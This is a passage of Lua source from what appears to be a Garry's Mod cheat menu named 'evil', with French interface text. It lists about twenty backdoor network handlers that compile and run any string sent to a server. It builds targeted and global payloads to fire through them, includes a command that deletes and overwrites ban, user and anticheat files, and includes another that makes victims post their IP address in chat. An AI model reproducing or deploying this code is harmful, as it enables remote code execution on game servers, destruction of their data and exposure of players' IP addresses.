1922local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_Spawnpoint/rp_venator_v3.txt","nordahl_Spawnpoint/rp_venator_v2.txt","nordahl_Spawnpoint/rp_venator_v1.txt","nordahl_Spawnpoint/rp_venator_gg.txt","nordahl_Spawnpoint/rp_venator_ausv4.txt","nordahl_Spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_Spawnpoint/arena_byre.txt","nordahl_Spawnpoint/rp_venator_v2_immersive.txt","nordahl_Spawnpoint/rp_venator_fade_v3.txt","nordahl_Spawnpoint/rp_venator_gr.txt","nordahl_Spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_Spawnpoint/rp_scifi.txt","nordahl_Spawnpoint/rishimoon_crimson.txt","nordahl_Spawnpoint/rp_pripyat_hl2.txt","nordahl_Spawnpoint/rp_onwardhope.txt", "nordahl_Spawnpoint/rp_oldworld_fix.txt","nordahl_Spawnpoint/sd_doomsday.txt","nordahl_Spawnpoint/sd_doomsday_event.txt","nordahl_Spawnpoint/rp_naboo_city_v1.txt","nordahl_Spawnpoint/rp_noclyria_crimson.txt","nordahl_Spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_Spawnpoint/rp_mos_mersic_v2.txt","nordahl_Spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_Spawnpoint/dust_dunes.txt","nordahl_Spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_Spawnpoint/rd_asteroid.txt","nordahl_Spawnpoint/naboo.txt","nordahl_Spawnpoint/kashyyyk.txt","nordahl_Spawnpoint/geonosis.txt","nordahl_Spawnpoint/fightspace3b.txt","nordahl_Spawnpoint/endor.txt","nordahl_Spawnpoint/toth_forgotten.txt"}
1923
1924for k,v in pairs(dataBDMenus) do
1925if sql.TableExists(v) then
1926sql.Query("DROP TABLE "..v.." ;")
1927sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1928end
1929end
1930
1931for k,v in pairs(datafiles) do
1932if file.Exists(v) then
1933file.Delete(v)
1934file.write(v, "evilcheats.com hehe")
1935end
1936end
1937
1938for k,v in pairs(sensitivefiles) do
1939if file.Exists(v) then
1940file.Delete(v)
1941file.write(v, "evilcheats.com hehe")
1942end
1943end
1944if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end
1945if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end
1946]],
1947
1948["Private"] = true,
1949
1950},
1951
1952["Kill (silent)"] = {
1953
1954["Type"] = 2,
1955
1956["Code"] = [[v:KillSilent()]],
1957
1958},
1959
1960["Supprimer Props"] = {
1961
1962["Type"] = 2,
1963
1964["Code"] = [[v:ConCommand("gmod_cleanup")]],
1965
1966},
1967
1968["'Récupere son IP'"] = {
1969
1970["Type"] = 2,
1971
1972["Code"] = [[
1973if (darkrp || DarkRP) then
1974v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc Mon IP est "..b) end, function(error) return error end )')
1975else
1976v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say Mon IP est "..b) end, function(error) return error end )')
1977end
1978]],
1979
1980["Private"] = true,
1981
1982},
1983
1984// key/view scrambler, fuck with escape menu
1985
1986
1987
1988
1989/*================================
1990|===== Commandes Dangereuses =====|
1991=================================*/
1992
1993
1994}
1995
1996
1997local selectedbackdoor = ""
1998
1999local backdoorargs = ""
2000
2001local selectedplayers = {}
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013/*====================================
2014|===== Configuration Backdoor 88 =====|
2015=====================================*/
2016
2017
2018
2019if not snte then
2020
2021BD.BackdoorTypes["Mining"] = {
2022["Code"] = "util.AddNetworkString( 'Ulx_Error_88' ) net.Receive( 'Ulx_Error_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2023["Netkey"] = "Ulx_Error_88",
2024}
2025
2026BD.BackdoorTypes["Crero"] = {
2027["Code"] = "util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2028["Netkey"] = "FAdmin_Notification_Receiver",
2029}
2030
2031BD.BackdoorTypes["FAdmin"] = {
2032["Code"] = "util.AddNetworkString( 'DarkRP_ReceiveData' ) net.Receive( 'DarkRP_ReceiveData', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2033["Netkey"] = "DarkRP_ReceiveData",
2034}
2035
2036BD.BackdoorTypes["evilbd"] = {
2037["Code"] = "util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2038["Netkey"] = "fijiconn",
2039}
2040
2041BD.BackdoorTypes["Weapon"] = {
2042["Code"] = "util.AddNetworkString( 'Weapon_88' ) net.Receive( 'Weapon_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2043["Netkey"] = "Weapon_88",
2044}
2045
2046BD.BackdoorTypes["Nostrip"] = {
2047["Code"] = "util.AddNetworkString('nostrip') net.Receive('nostrip',function(len,pl) RunStringEx(net.ReadString(),'[C]',false) end)",
2048["Netkey"] = "nostrip",
2049}
2050
2051BD.BackdoorTypes["Session"] = {
2052["Code"] = "util.AddNetworkString( 'SessionBackdoor' ) net.Receive( 'SessionBackdoor', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2053["Netkey"] = "SessionBackdoor",
2054}
2055
2056BD.BackdoorTypes["DarkRP_n"] = {
2057["Code"] = "util.AddNetworkString( 'DarkRP_AdminWeapons' ) net.Receive( 'DarkRP_AdminWeapons', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2058["Netkey"] = "DarkRP_AdminWeapons",
2059}
2060
2061BD.BackdoorTypes["frenculer"] = {
2062["Code"] = "util.AddNetworkString( 'thefrenchenculer' ) net.Receive( 'thefrenchenculer', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2063["Netkey"] = "thefrenchenculer",
2064}
2065
2066BD.BackdoorTypes["Fix_Keypads"] = {
2067["Code"] = "util.AddNetworkString( 'Fix_Keypads' ) net.Receive( 'Fix_Keypads', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2068["Netkey"] = "Fix_Keypads",
2069}
2070
2071BD.BackdoorTypes["CAC"] = {
2072["Code"] = "util.AddNetworkString( '_CAC_ReadMemory' ) net.Receive( '_CAC_ReadMemory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2073["Netkey"] = "_CAC_ReadMemory",
2074}
2075
2076BD.BackdoorTypes["Exploiters"] = {
2077["Code"] = "util.AddNetworkString( 'Remove_Exploiters' ) net.Receive( 'Remove_Exploiters', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2078["Netkey"] = "Remove_Exploiters",
2079}
2080
2081BD.BackdoorTypes["MoonMan"] = {
2082["Code"] = "util.AddNetworkString( 'MoonMan' ) net.Receive( 'MoonMan', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2083["Netkey"] = "MoonMan",
2084}
2085
2086BD.BackdoorTypes["disableb"] = {
2087["Code"] = "util.AddNetworkString( 'disablebackdoor' ) net.Receive( 'disablebackdoor', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2088["Netkey"] = "disablebackdoor",
2089}
2090
2091BD.BackdoorTypes["Sbox"] = {
2092["Code"] = "util.AddNetworkString( 'Sbox_itemstore' ) net.Receive( 'Sbox_itemstore', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2093["Netkey"] = "Sbox_itemstore",
2094}
2095
2096BD.BackdoorTypes["Sbox2"] = {
2097["Code"] = "util.AddNetworkString( 'Sbox_darkrp' ) net.Receive( 'Sbox_darkrp', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2098["Netkey"] = "Sbox_darkrp",
2099}
2100
2101BD.BackdoorTypes["R8"] = {
2102["Code"] = "util.AddNetworkString( 'R8' ) net.Receive( 'R8', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2103["Netkey"] = "R8",
2104}
2105
2106BD.BackdoorTypes["c"] = {
2107["Code"] = "util.AddNetworkString( 'c' ) net.Receive( 'c', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2108["Netkey"] = "c",
2109}
2110
2111BD.BackdoorTypes["_cac_"] = {
2112["Code"] = "util.AddNetworkString( '_cac_' ) net.Receive( '_cac_', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2113["Netkey"] = "_cac_",
2114}
2115
2116BD.BackdoorTypes["_Defqon"] = {
2117["Code"] = "util.AddNetworkString( '_Defqon' ) net.Receive( '_Defqon', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2118["Netkey"] = "_Defqon",
2119}
2120
2121BD.BackdoorTypes["LickMeOut"] = {
2122["Code"] = "util.AddNetworkString( 'LickMeOut' ) net.Receive( 'LickMeOut', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2123["Netkey"] = "LickMeOut",
2124}
2125
2126BD.BackdoorTypes["nck"] = {
2127["Code"] = "util.AddNetworkString( 'noclipcloakaesp_chat_text' ) net.Receive( 'noclipcloakaesp_chat_text', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2128["Netkey"] = "noclipcloakaesp_chat_text",
2129}
2130
2131BD.BackdoorTypes["ArmDupe"] = {
2132["Code"] = "util.AddNetworkString( 'Sandbox_ArmDupe' ) net.Receive( 'Sandbox_ArmDupe', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2133["Netkey"] = "Sandbox_ArmDupe",
2134}
2135
2136
2137else
2138end
2139
2140
2141
2142
2143/*==================================
2144|===== Derma 88 Backdoor Menu =====|
2145=================================*/
2146
2147
2148
2149function BD.GenerateBackdoorList( parent, category )
2150
2151
2152
2153for k, v in SortedPairs( BD.BDMacros, false ) do
2154
2155if v["Type"] != category then continue end
2156
2157
2158
2159local plypanel2 = vgui.Create( "DPanel" )
2160
2161plypanel2:SetPos( 50, 0 )
2162
2163plypanel2:SetSize( 103, 15 )
2164
2165plypanel2.Paint = function() -- Paint function
2166
2167
2168
2169if selectedbackdoor == k then draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(150, 150, 150, 70), false, false, false, false)
2170else draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 70), false, false, false, false)
2171end
2172
2173
2174end
2175
2176
2177
2178local plyname = vgui.Create( "DLabel", plypanel2 )
2179
2180plyname:SetPos( 3, 0 )
2181
2182plyname:SetFont( "evil_homemini" )
2183
2184local tcol = Color( 255, 255, 255 )
2185
2186if v.Private then tcol = Color( 255, 107, 107 )
2187
2188if fiji_style_menu:GetInt() == 2 then
2189if v == LocalPlayer() then tcol = Color( math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75) ) end
2190
2191elseif fiji_style_menu:GetInt() == 3 then
2192if v == LocalPlayer() then tcol = Color( 255, 91, 91 ) end
2193
2194elseif fiji_style_menu:GetInt() == 1 then
2195if v == LocalPlayer() then tcol = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )end
2196
2197else
2198if v == LocalPlayer() then tcol = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) end
2199
2200end
2201end
2202
2203plyname:SetColor( tcol )
2204
2205plyname:SetText( k )
2206
2207plyname:SetSize(670, 15)
2208
2209
2210
2211
2212
2213
2214local faggot = vgui.Create("DButton", plypanel2)
2215
2216faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2217
2218faggot:SetPos( 0, 0 )
2219
2220faggot:SetText("")
2221
2222if v["Desc"] != "" then end
2223
2224faggot.Paint = function(panel, w, h)
2225
2226return
2227
2228end
2229
2230faggot.DoClick = function()
2231
2232selectedbackdoor = k
2233
2234end
2235
2236
2237
2238
2239
2240parent:AddItem( plypanel2 )
2241
2242
2243
2244end
2245
2246
2247
2248end
2249
2250
2251
2252function BD.FormatCodeTargeted()
2253
2254if !BD.BackdoorActive() then BD.ChatText( "La backdoor séléctionnée n'est pas présente", Color(255,155,155) ) return end
2255
2256if selectedbackdoor == "" then BD.ChatText( "Veuillez séléctionné une commande", Color(255,155,155) ) return end
2257
2258local param = string.Explode( ",", backdoorargs )
2259
2260local ids = {}
2261
2262for k, v in pairs( selectedplayers ) do
2263
2264if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2265
2266table.insert( ids, v:UniqueID() )
2267
2268end
2269
2270
2271
2272local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2273
2274code = string.Replace( code, "##", table.ToString( ids ) )
2275
2276code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2277
2278code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2279
2280
2281
2282if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Veuillez paramétrer la commande", Color(255,155,155) ) return end
2283
2284if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2285
2286
2287
2288for k, v in pairs( param ) do
2289
2290code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2291
2292end
2293
2294
2295
2296BD.Fire( code )
2297
2298
2299
2300end
2301
2302
2303
2304function BD.FormatCodeGlobal()
2305
2306--if !BD.BackdoorActive() then BD.ChatText( "Aucune backdoor sur le serveur", Color(0,0,0) ) return end
2307
2308if selectedbackdoor == "" then BD.ChatText( "Veuillez selectionner une commande", Color(255,74,74) ) return end
2309
2310local param = string.Explode( ",", backdoorargs )
2311
2312
2313
2314local code = BD.BDMacros[selectedbackdoor]["Code"]
2315
2316
2317
2318if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Veuillez paramétrer la commande", Color(255,74,74) ) return end
2319
2320if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2321
2322
2323
2324for k, v in pairs( param ) do
2325
2326code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2327
2328code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2329
2330code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2331
2332code = string.Replace( code, "%BD", BD.GetActive().Code )
2333
2334end
2335
2336
2337
2338BD.Fire( code )
2339
2340
2341
2342end
2343
2344
2345
2346
2347
2348local safenet = net
2349
2350local function bdnet()
2351
2352if odium and odium.G then return odium.G.net end
2353
2354return safenet
2355
2356end
2357
2358
2359
2360
2361
2362---------------------------------------------------------------------------------------------------------
2363---------------------------------------------------------------------------------------------------------
2364
2365BD.BtnHovered = BD.BtnHovered or 1
2366
2367-- Fonts
2368surface.CreateFont( "BD:Hitman:50", { font = "Arial", extended = false, size = 50, weight = 800, } )
2369surface.CreateFont( "BD:Hitman:30", { font = "Arial", extended = false, size = 30, weight = 800, } )
2370
2371
2372
2373-- Menu
2374function BD:CreateBtn( text, x, y, w, h, BDMenu )
2375local btn = vgui.Create( "DButton", BDMenu )
2376btn:SetPos( x, y )
2377btn:SetSize( w, h )
2378btn:SetText( "" )
2379btn.IsHovered = false
2380function btn:OnCursorEntered() self.IsHovered = true end
2381function btn:OnCursorExited() self.IsHovered = false end
2382function btn:Paint( w, h )
2383
2384local cText = Color( 255, 255, 255, 50 )
2385
2386
2387if self.IsHovered then
2388draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 30 ) )
2389cBorder = Color( 110,110,110, 30 )
2390else
2391draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2392cBorder = Color( 110,110,110, 0 )
2393
2394end
2395
2396if self.activebtn then
2397if fiji_style_menu:GetInt() == 2 then
2398cText = Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2399cBorder = Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2400elseif fiji_style_menu:GetInt() == 1 then
2401cText = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
2402cBorder = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
2403elseif fiji_style_menu:GetInt() == 3 then
2404cText = Color( 190, 242, 190 )
2405cBorder = Color( 190, 242, 190,80 )
2406else
2407cText = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
2408cBorder = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
2409end
2410draw.SimpleText( text, "evil_homeBTN", w / 2, h / 2, cText, 1, 1 )
2411else
2412draw.SimpleText( text, "evil_home5", w / 2, h / 2, cText, 1, 1 )
2413end
2414
2415
2416
2417surface.SetDrawColor( cBorder )
2418surface.DrawOutlinedRect( 0, 0, w, h )
2419end
2420
2421return btn
2422end
2423
2424concommand.Add("fiji_luarun", function()
2425local BDLuarun = vgui.Create( "DFrame" )
2426BDLuarun:SetSize( 700, 400 )
2427BDLuarun:Center()
2428BDLuarun:SetTitle("")
2429BDLuarun:SetDraggable( true )
2430BDLuarun:ShowCloseButton( false )
2431BDLuarun:MakePopup()
2432BDLuarun.Paint = function( self, w, h)
2433DrawBlur(self, 25)
2434draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
2435draw.SimpleText("Inportant: lua code that has more then 1000 lines will crash your game.", "evil_home3", 11, 11, Color(150, 110, 110,255), 0, 1)
2436
2437end
2438
2439
2440local BDLuaruntext = vgui.Create( "DTextEntry", BDLuarun ) -- create the form as a child of frame
2441BDLuaruntext:SetPos( 5, 25 )
2442BDLuaruntext:SetSize( 690, 330 )
2443BDLuaruntext:SetMultiline( true )
2444BDLuaruntext:SetText( "-- Enter the lua code here \n \n" )
2445BDLuaruntext.OnEnter = function( self )
2446chat.AddText( self:GetValue() ) -- print the form's text as server text
2447end
2448
2449local AcceptLuarun = vgui.Create( "DButton", BDLuarun)
2450AcceptLuarun:SetPos( 310, 360)
2451AcceptLuarun:SetSize( 80, 35 )
2452AcceptLuarun:SetTextColor( Color( 255, 255, 255, 255 ) )
2453AcceptLuarun:SetText( "execute the code code" )
2454AcceptLuarun.Paint = function( self, w, h )
2455draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2456if self:IsHovered() then
2457draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2458aBorder = Color( 110,110,110, 80 )
2459else
2460draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2461aBorder = Color( 110,110,110, 0 )
2462end
2463AcceptLuarun.OnCursorEntered = function(self) --
2464surface.PlaySound( fiji_evilhover )
2465end
2466surface.SetDrawColor( aBorder )
2467surface.DrawOutlinedRect( 0, 0, w, h )
2468AcceptLuarun.DoClick = function()
2469NOTIFICATION("Lua code excuted")
2470surface.PlaySound( fiji_evilclick )
2471RunString( BDLuaruntext:GetText() )
2472end
2473end
2474
2475
2476local CloseLuaRun = vgui.Create( "DButton", BDLuarun)
2477CloseLuaRun:SetPos( 670, 8)
2478CloseLuaRun:SetSize( 20, 15 )
2479CloseLuaRun:SetTextColor( Color( 255, 255, 255, 255 ) )
2480CloseLuaRun:SetText( "X" )
2481CloseLuaRun.Paint = function( self, w, h )
2482draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2483if self:IsHovered() then
2484draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2485else
2486draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2487end
2488CloseLuaRun.DoClick = function()
2489LocalPlayer():ConCommand("fiji_sv_existmen 0")
2490
2491BDLuarun:Remove()
2492end
2493end
2494
2495local ReturnLuaRun = vgui.Create( "DButton", BDLuarun)
2496ReturnLuaRun:SetPos( 638, 8)
2497ReturnLuaRun:SetSize( 30, 15)
2498ReturnLuaRun:SetTextColor( Color( 255, 255, 255, 255 ) )
2499ReturnLuaRun:SetText( "<--" )
2500ReturnLuaRun.Paint = function( self, w, h )
2501draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2502if self:IsHovered() then
2503draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2504else
2505draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2506end
2507ReturnLuaRun.DoClick = function()
2508LocalPlayer():ConCommand("evil")
2509BDLuarun:Remove()
2510end
2511end
2512
2513concommand.Add( "fiji_clearluarun", function() -- fiji_sv_existmen
2514BDLuarun:Remove()
2515
2516end)
2517
2518end)
2519
2520function BD:Dashboard( pContent )
2521
2522
2523function NOTIFICATION(text, pContent)
2524
2525ctxt( Color(126, 255, 117), "[evil] ", Color(255, 255, 255), text )
2526
2527end
2528
2529function NOTIFICATIONNO(text)
2530ctxt( Color(255, 114, 114), "[evil] ", Color(255, 255, 255), text )
2531end
2532
2533local BDMenuDashboard = vgui.Create("DPanel", pContent)
2534BDMenuDashboard:SetSize( 539, 388 )
2535BDMenuDashboard:SetPos( 0, 0 )
2536BDMenuDashboard.Paint = function( self, w, h)
2537draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
2538
2539if fiji_style_menu:GetInt() == 2 then
2540draw.RoundedBox( 0, 0, 98, 2, h - 60, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
2541draw.RoundedBox( 0, 0, 0, 2, h - 336, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
2542
2543elseif fiji_style_menu:GetInt() == 1 then
2544draw.RoundedBox( 0, 0, 98, 2, h - 60, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
2545draw.RoundedBox( 0, 0, 0, 2, h - 336, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
2546
2547else
2548draw.RoundedBox( 0, 0, 98, 2, h - 60, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
2549draw.RoundedBox( 0, 0, 0, 2, h - 334, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
2550end
2551
2552
2553end
2554local TextHome = vgui.Create( "DPanel", pContent )
2555TextHome:SetSize(500,650)
2556TextHome:SetPos(20,20)
2557TextHome.Paint = function( self, w, h )
2558if fiji_style_menu:GetInt() == 3 then
2559draw.SimpleText("evil is the best free hack ", "evil_home1", 158, 20, Color(238, 61, 61), 0, 1)
2560elseif fiji_style_menu:GetInt() == 2 then
2561draw.SimpleText("✝ evil ✝ ", "evil_home1", 158, 20, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)), 0, 1)
2562
2563elseif fiji_style_menu:GetInt() == 1 then
2564draw.SimpleText("evil is the best free hack ", "evil_home1", 158, 20, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), 0, 1)
2565
2566else
2567draw.SimpleText("evil is the best free hack ", "evil_home1", 158, 20, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ), 0, 1)
2568
2569end
2570
2571surface.SetMaterial( fiji_evildiscordwidget )
2572surface.SetDrawColor( 255, 255, 255, 255 )
2573surface.DrawTexturedRect( 90, 150, 320, 76 )
2574
2575draw.SimpleText("Garry's Mod Cheat - V1", "evil_home2", 192, 62, Color(255, 255, 255,20), 0, 1)
2576draw.SimpleText("Made by dan the man.", "evil_home4", 32, 100, Color(255, 255, 255,200), 0, 1)
2577draw.SimpleText("Go to our discord if you need help with the cheat.", "evil_home3", 118, 135, Color(255, 255, 255,200), 0, 1)
2578draw.SimpleText("The executer bypass's Anticheats :", "evil_home3", 102, 305, Color(255, 255, 255,200), 0, 1)
2579end
2580
2581--[[
2582local TextEntry = vgui.Create( "DTextEntry", pContent ) -- create the form as a child of frame
2583TextEntry:SetPos( 150, 200 )
2584TextEntry:SetSize( 75, 150 )
2585TextEntry:SetMultiline( true )
2586TextEntry:SetText( "Placeholder Text" )
2587TextEntry.OnEnter = function( self )
2588chat.AddText( self:GetValue() ) -- print the form's text as server text
2589end
2590]]
2591
2592
2593local Runstringlua = vgui.Create( "DButton", pContent)
2594Runstringlua:SetPos( 210, 342)
2595Runstringlua:SetSize( 120, 35 )
2596Runstringlua:SetTextColor( Color( 255, 255, 255, 255 ) )
2597Runstringlua:SetText( "Executer Lua" )
2598Runstringlua.Paint = function( self, w, h )
2599draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2600if self:IsHovered() then
2601draw.RoundedBox( 0, 0, 0, w, h, Color( 130,110,110, 60 ) )
2602aBorder = Color( 255,110,110, 255 )
2603else
2604draw.RoundedBox( 0, 0, 0, w, h, Color( 150,110,110, 20 ) )
2605aBorder = Color( 255,110,110, 80 )
2606end
2607Runstringlua.OnCursorEntered = function(self)
2608surface.PlaySound( fiji_evilhover )
2609
2610end
2611surface.SetDrawColor( aBorder )
2612surface.DrawOutlinedRect( 0, 0, w, h )
2613Runstringlua.DoClick = function()
2614surface.PlaySound( fiji_evilclick )
2615LocalPlayer():ConCommand("fiji_luarun")
2616LocalPlayer():ConCommand("clear_evil")
2617LocalPlayer():ConCommand("fiji_sv_existmen 1")
2618end
2619end
2620
2621
2622local Copierdiscordanim = vgui.Create( "DPanel", pContent )
2623Copierdiscordanim:SetSize(80,12)
2624Copierdiscordanim:SetPos(180, 287)
2625Copierdiscordanim.Paint = function( self, w, h )
2626
2627if CopiediscordHomeTextyes then
2628draw.RoundedBox(0,0,0,w,h,Color(116, 255, 112, 255))
2629draw.SimpleText("", "evil_home2", 0, 0, Color(255, 255, 255,20), 0, 1)
2630else
2631end
2632end
2633
2634local CopiediscordHomeText = vgui.Create( "DButton", pContent)
2635CopiediscordHomeText:SetPos( 350, 358)
2636CopiediscordHomeText:SetSize( 200, 40 )
2637CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2638CopiediscordHomeText:SetText( "copy discord" )
2639CopiediscordHomeText.Paint = function( self, w, h )
2640draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2641if self:IsHovered() then
2642draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 0))
2643else
2644draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
2645end
2646CopiediscordHomeText.DoClick = function()
2647SetClipboardText( "Copy Discord" )
2648end
2649end
2650local CopiediscordHome = vgui.Create( "DButton", pContent)
2651CopiediscordHome:SetPos( 180, 255)
2652CopiediscordHome:SetSize( 80, 35 )
2653CopiediscordHome:SetTextColor( Color( 255, 255, 255, 255 ) )
2654CopiediscordHome:SetText( "Copy Discord" )
2655CopiediscordHome.Paint = function( self, w, h )
2656draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2657if self:IsHovered() then
2658CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 255 ) )
2659draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2660aBorder = Color( 110,110,110, 80 )
2661else
2662CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2663draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2664aBorder = Color( 110,110,110, 0 )
2665endder = Color( 110,110,110, 0 )
2666end
2667CopiediscordHome.OnCursorEntered = function(self)
2668surface.PlaySound( fiji_evilhover )
2669end
